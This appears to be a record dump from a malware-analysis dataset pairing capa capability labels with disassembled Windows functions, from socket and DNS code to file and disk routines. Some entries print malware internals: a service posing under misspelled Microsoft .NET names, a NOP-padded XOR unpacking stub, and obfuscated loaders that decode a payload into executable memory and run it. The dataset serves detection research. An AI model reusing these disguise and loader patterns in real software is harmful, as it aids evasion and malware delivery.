joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5a9340
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x2f0], 2
je fcn.005a92f0
mov al, 1
ret

Function at 0x5a9a50
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov edx, dword [esp + 8]
sub esp, 0x80
xor eax, eax
push ebx
mov ebx, dword [esp + 0x88]
push ebp
push esi
mov esi, 0x1e4
mov ecx, dword [ebx + 0x1c4]
cmp edx, ecx
push edi
sete al
lea eax, [eax*4 + 0x1c0]
mov ebp, dword [eax + ebx]
mov eax, 0x1f4
cmove esi, eax
mov eax, dword [ebx + 0x2e8]
add esi, ebx
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x5a9b30
xor eax, eax
cmp edx, ecx
sete al
lea eax, [eax*4 + 0x1d4]
cmp dword [eax + ebx], 0x5a9760
jne 0x5a9b30
cmp dword [esi], 0
je 0x5a9ac1
test edi, edi
je 0x5a9b30
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebp
call fcn.005b0aa0
add esp, 0x14
cmp eax, 0xffffffff
je 0x5a9b30
test al, 1
je 0x5a9b30
cmp dword [esi], 0
jne 0x5a9b0a
mov eax, dword [ebx]
mov eax, dword [eax + 0x8fc]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [0x690b90]
mov edi, dword [esi + 4]
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov ecx, dword [esi]
test ecx, ecx
je 0x5a9b29
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x5a9b30
add dword [esi + 8], eax
jmp 0x5a9b30
mov dword [esi + 4], 0
push 0
push dword [esp + 0xa4]
push dword [esp + 0xa4]
push ebp
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
cmp edi, 0xffffffff
jne 0x5a9bba
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x5a9b79
mov ecx, dword [esp + 0xa4]
lea eax, [edi + 0x52]
pop edi
pop esi
pop ebp
mov dword [ecx], 0
pop ebx
add esp, 0x80
ret
push pe_nt_image_headers32
lea eax, [esp + 0x14]
push eax
push esi
call fcn.005ca5d0
push eax
push str.Send_failure:__s
push dword [ebx]
call fcn.005a94f0
mov eax, dword [ebx]
add esp, 0x18
mov ecx, dword [esp + 0xa4]
mov dword [eax + 0xd04], esi
mov eax, 0x37
mov dword [ecx], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret
mov ecx, dword [esp + 0xa4]
xor eax, eax
mov dword [ecx], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret
Function at 0x5c4290
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1000
call fcn.005dddf0
push dword [esp + 0x1004]
call fcn.006088b7
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x5c42dc
push 0x1000
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x5c42dc
lea eax, [esp]
push eax
call dword [0x690b9c]
add esp, 4
add esp, 0x1000
ret
xor eax, eax
add esp, 0x1000
ret

Function at 0x5c4940
Capabilities:
Resolve dns

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x1c]
push esi
xor esi, esi
mov dword [esp + 4], esi
mov dword [eax], esi
lea eax, [esp + 8]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x5c4af2
push ebx
mov ebx, dword [esp + 0xc]
push edi
test ebx, ebx
je 0x5c4adc
push ebp
mov eax, dword [ebx + 4]
cmp eax, 2
jne 0x5c498f
lea ebp, [eax + 0xe]
jmp 0x5c499b
cmp eax, 0x17
jne 0x5c4a49
lea ebp, [eax + 5]
cmp dword [ebx + 0x18], 0
je 0x5c4a49
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x5c4a49
cmp eax, ebp
jb 0x5c4a49
push 0x20
call dword [0x690b90]
mov edi, eax
add esp, 4
test edi, edi
je 0x5c4ad1
mov ecx, dword [ebx]
mov dword [edi], ecx
mov ecx, dword [ebx + 4]
mov dword [edi + 4], ecx
mov ecx, dword [ebx + 8]
mov dword [edi + 8], ecx
mov eax, dword [ebx + 0xc]
push ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], ebp
mov dword [edi + 0x18], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x1c], 0
call dword [0x690b90]
add esp, 4
mov dword [edi + 0x18], eax
test eax, eax
je 0x5c4ac0
push ebp
push dword [ebx + 0x18]
push eax
call fcn.004da640
mov eax, dword [ebx + 0x14]
add esp, 0xc
test eax, eax
je 0x5c4a35
push eax
call dword [0x690b9c]
add esp, 4
mov dword [edi + 0x14], eax
test eax, eax
je 0x5c4aa6
mov eax, dword [esp + 0x10]
test esi, esi
cmove esi, edi
test eax, eax
je 0x5c4a45
mov dword [eax + 0x1c], edi
mov dword [esp + 0x10], edi
mov ebx, dword [ebx + 0x1c]
test ebx, ebx
jne 0x5c4982
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
pop ebp
test eax, eax
je 0x5c4a68
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test ebx, ebx
je 0x5c4ad8
test esi, esi
je 0x5c4a95
push dword [esi + 0x18]
call dword [0x690b94]
push dword [esi + 0x14]
call dword [0x690b94]
mov edi, dword [esi + 0x1c]
push esi
call dword [0x690b94]
add esp, 0xc
mov esi, edi
test edi, edi
jne 0x5c4a70
mov eax, dword [esp + 0x28]
xor esi, esi
pop edi
mov dword [eax], esi
mov eax, ebx
pop ebx
pop esi
add esp, 0xc
ret
push dword [edi + 0x18]
mov ebx, 8
call dword [0x690b94]
push edi
call dword [0x690b94]
add esp, 8
jmp 0x5c4a58
push edi
mov ebx, 8
call dword [0x690b94]
add esp, 4
jmp 0x5c4a58
mov ebx, 8
jmp 0x5c4a58
test esi, esi
jne 0x5c4ae8
mov ebx, 0x2af9
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], esi
mov eax, ebx
pop ebx
pop esi
add esp, 0xc
ret
Function at 0x5ce4f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration
Start tcp server

Disassembly:
sub esp, 0x30
push esi
mov esi, dword [sym.imp.WS2_32.dll_socket]
push edi
push 6
push 1
push 2
mov dword [esp + 0x18], 0x10
mov dword [esp + 0x14], 1
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x5ce522
pop edi
or eax, eax
pop esi
add esp, 0x30
ret
push ebx
xorps xmm0, xmm0
mov eax, 2
push 0x7f000001
movlpd qword [esp + 0x20], xmm0
mov word [esp + 0x18], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov ebx, dword [esp + 0x4c]
mov dword [esp + 0x18], eax
xor eax, eax
push 4
mov word [esp + 0x1a], ax
lea eax, [esp + 0x10]
push eax
push 4
push 0xffff
push edi
mov dword [ebx + 4], 0xffffffff
mov dword [ebx], 0xffffffff
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x5ce6b3
push 0x10
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x5ce6b3
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x5ce6b3
push 1
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x5ce6b3
push 0
push 1
push 2
call esi
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x5ce6b3
push 0x10
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x5ce6b3
push 0
push 0
push edi
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
je 0x5ce6b3
push ebx
push 0x650368
lea eax, [esp + 0x2c]
push 0xc
push eax
call fcn.005beea0
lea esi, [esp + 0x34]
add esp, 0x10
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x5ce620
push 0
sub esi, ecx
lea eax, [esp + 0x28]
push esi
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, esi
jne 0x5ce6b3
push 0
push 0xc
lea eax, [esp + 0x38]
push eax
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jne 0x5ce6b3
lea ecx, [esp + 0x24]
lea edx, [esp + 0x30]
sub esi, 4
jb 0x5ce671
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x5ce676
add ecx, 4
add edx, 4
sub esi, 4
jae 0x5ce660
cmp esi, 0xfffffffc
je 0x5ce6a3
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x5ce6b3
cmp esi, 0xfffffffd
je 0x5ce6a3
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x5ce6b3
cmp esi, 0xfffffffe
je 0x5ce6a3
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x5ce6b3
cmp esi, 0xffffffff
je 0x5ce6a3
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x5ce6b3
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x30
ret
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push edi
call esi
push dword [ebx]
call esi
push dword [ebx + 4]
call esi
pop ebx
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x30
ret
Function at 0x5dd64e
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x6971f0], 0
push ebx
push esi
mov esi, 0x6971f8
jne 0x5dd67a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x697210], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x6971f0], 1
push dword [0x697210]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x5dd717
push 0x14
push 8
push dword [0x694170]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x5dd741
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x6971f4]
test eax, eax
je 0x5dd6bc
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x6971f4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x5dd746
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x697210]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x694170]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x5dd741
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x5ddf30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x5ddf5d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x5ddf5d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x5f607f
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x68ed68]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x652c18
push esi
call fcn.004cd7b9
pop ecx
pop ecx
test eax, eax
jne 0x5f60ad
xor al, al
jmp 0x5f612a
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.005f5d12
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x5f60e7
push dword [ebp - 0x210]
call fcn.005de59f
xor al, al
jmp 0x5f6128
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x5f60ed
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x5f610d
push edx
call fcn.005f5fb6
pop ecx
test al, al
je 0x5f60d8
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x5f611b
mov bl, 1
push dword [ebp - 0x210]
call fcn.005de59f
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004c165f
leave
ret
Function at 0x5f7235
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.005dddf0
mov eax, dword [0x68ed68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004d3a7f
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x5f7277
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x5f73d3
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.005de040
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x6950b8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.004d6750
mov ecx, dword [esi*4 + 0x6950b8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x5f73cc
cmp eax, dword [ecx + edi + 0x24]
jne 0x5f73cc
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x5f73cc
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004d6750
add esp, 0x14
test edx, edx
jl 0x5f73cc
jg 0x5f7342
test eax, eax
jb 0x5f73cc
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x5f73cc
jl 0x5f735c
cmp dword [ebp - 0x1008], eax
ja 0x5f73cc
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x5f737a
test ebx, ebx
je 0x5f73b3
cmp ecx, edi
jae 0x5f73b3
mov al, byte [ecx]
cmp al, 0xd
jne 0x5f7394
lea eax, [edi - 1]
cmp ecx, eax
jae 0x5f73a0
cmp byte [ecx + 1], 0xa
jne 0x5f73a0
inc ecx
jmp 0x5f73a0
movzx eax, al
movsx eax, byte [eax + 0x68f4c0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x5f737a
cmp edx, ebx
jne 0x5f737a
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x5f73d1
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004c165f
leave
ret
Function at 0x60df78
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0060dde7
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x60e0e7
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x60e0e7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x60e09c
jg 0x60dfd4
test eax, eax
je 0x60e092
push 1
push 0x1000
call fcn.004c6d38
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x60dff7
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x60e089
push 0x8000
push ebx
call fcn.004c1da8
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x60e020
jg 0x60e01b
cmp ecx, 0x1000
jb 0x60e020
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004d4700
add esp, 0x10
cmp eax, 0xffffffff
je 0x60e065
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x60e01b
jl 0x60e04c
test ecx, ecx
jne 0x60e00d
push dword [ebp - 0xc]
push ebx
call fcn.004c1da8
push esi
call fcn.004c5780
add esp, 0xc
xor ebx, ebx
jmp 0x60e0f5
cmp byte [edi + 0x24], 0
je 0x60e07c
cmp dword [edi + 0x20], 5
jne 0x60e07c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x60e087
mov ebx, dword [edi + 0x18]
jmp 0x60e089
xor ebx, ebx
push esi
call fcn.004c5780
pop ecx
jmp 0x60e0f5
test ecx, ecx
jg 0x60e05e
jl 0x60e09c
test eax, eax
jae 0x60e05e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004d676e
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x60e0bc
cmp byte [edi + 0x1c], 0
je 0x60e05e
jmp 0x60e0ed
push ebx
call fcn.004c86f9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x60e05e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x60e0f5
cmp byte [edi + 0x1c], 0
je 0x60e0f2
mov ebx, dword [edi + 0x18]
jmp 0x60e0f5
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004d676e
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x61465d
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x68ed68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x6146a0
call fcn.004c80df
mov dword [eax], 0xf
call fcn.004c80f2
mov dword [eax], 0xd
call fcn.004c69dd
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004c165f
leave
ret
test eax, eax
jne 0x6146a7
inc eax
jmp 0x614694
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x614692
xor eax, eax
cmp ecx, 1
setne al
jmp 0x614694
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1fb97de4
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0xf0326b
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10007baf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10007bbe
pop dword [ebp - 0x44]
mov eax, 0x10007bbe
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3c24b8f6
sub dword [ebp - 0x54], 0xedd273ab
mov dword [ebp - 0x50], 0x719b834f
add dword [ebp - 0x50], 0xc097c8f6
mov dword [ebp - 0x4c], 0x74706725
sub dword [ebp - 0x4c], 0x282422f7
mov dword [ebp - 0x48], 0xb080fde3
sub dword [ebp - 0x48], 0xb080fde3
lea eax, [ebp - 0x54]
push eax
mov eax, 0x12da7775
add eax, 0xfd2608d7
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x3e64586a
add dword [ebp - 0x54], 0x360e10ec
mov dword [ebp - 0x50], 0x53858d73
add dword [ebp - 0x50], 0xede6d402
mov dword [ebp - 0x4c], 0x137f542f
add dword [ebp - 0x4c], 0x4ff0183d
mov dword [ebp - 0x48], 0xbf4fc5b6
add dword [ebp - 0x48], 0x40b03a4a
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x9c55453b
sub eax, 0x8c54c4f3
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3496e
push 0
call eax
mov ecx, 0xb80a8e9f
sub ecx, 0xb80a4eef
xor ebx, ebx
add ebx, eax
mov edi, 0x1000fa00
add edi, dword [ebp - 0x44]
mov edx, 0x277f0f2c
add edx, 0x3f8b25e6
xor dword [ebp - 4], 0x14826bbd
mov esi, dword [edi]
add dword [ebp - 0x14], ebx
add esi, edx
sub dword [ebp - 0x10], 0x3484ab58
mov dword [ebx], esi
mov dword [ebp - 0x10], 0xbfce0a02
add ebx, 4
add edi, 0x13c4abd3
sub edi, 0x13c4abcf
loop 0x10007cd7
add eax, 0xf193
mov ebx, eax
add eax, 5
mov ecx, 0xb7b498dc
sub ecx, 0xa7b498dc
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x10031690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1003169f
pop dword [ebp - 0x28]
mov eax, 0x1003169f
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x5617d58f
sub dword [ebp - 0x38], 0x7c59044
mov dword [ebp - 0x34], 0xcb72181
sub dword [ebp - 0x34], 0xda83d53c
mov dword [ebp - 0x30], 0xb64b5bea
add dword [ebp - 0x30], 0x9600e844
mov dword [ebp - 0x2c], 0x55a9aa35
add dword [ebp - 0x2c], 0xaa5655cb
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x43a26dd5
add dword [ebp - 0x38], 0x30cffb81
mov dword [ebp - 0x34], 0x7e592bef
sub dword [ebp - 0x34], 0x3cecca7a
mov dword [ebp - 0x30], 0x86b2c503
sub dword [ebp - 0x30], 0x23435897
mov dword [ebp - 0x2c], 0x1eb61960
add dword [ebp - 0x2c], 0xe149e6a0
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x22d6c2ea
add eax, 0xed2d1d9a
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x40f91
push 0
call eax
mov ecx, 0xe0e6ec0d
sub ecx, 0xe0e6996b
mov esi, eax
mov edi, 0x1fe40fde
add edi, 0xf0230222
add edi, dword [ebp - 0x28]
mov edx, 0x5267745b
sub dword [ebp - 0x18], 0x130ac616
mov ebx, dword [edi]
add dword [ebp - 0x18], edx
xor ebx, edx
mov dword [esi], ebx
sub dword [ebp - 0x20], 0xe31740a7
add esi, 0xf3620087
add esi, 0xc9dff7d
add edi, 4
loop 0x100317b1
add eax, 0x644053cf
add eax, 0x9bc0e98c
xor ebx, ebx
add ebx, eax
add eax, 0x40f48592
sub eax, 0x40f4858d
mov ecx, 0x60c08c7f
add ecx, 0xaf3f7381
add ecx, dword [ebp - 0x28]
call ebx
leave
ret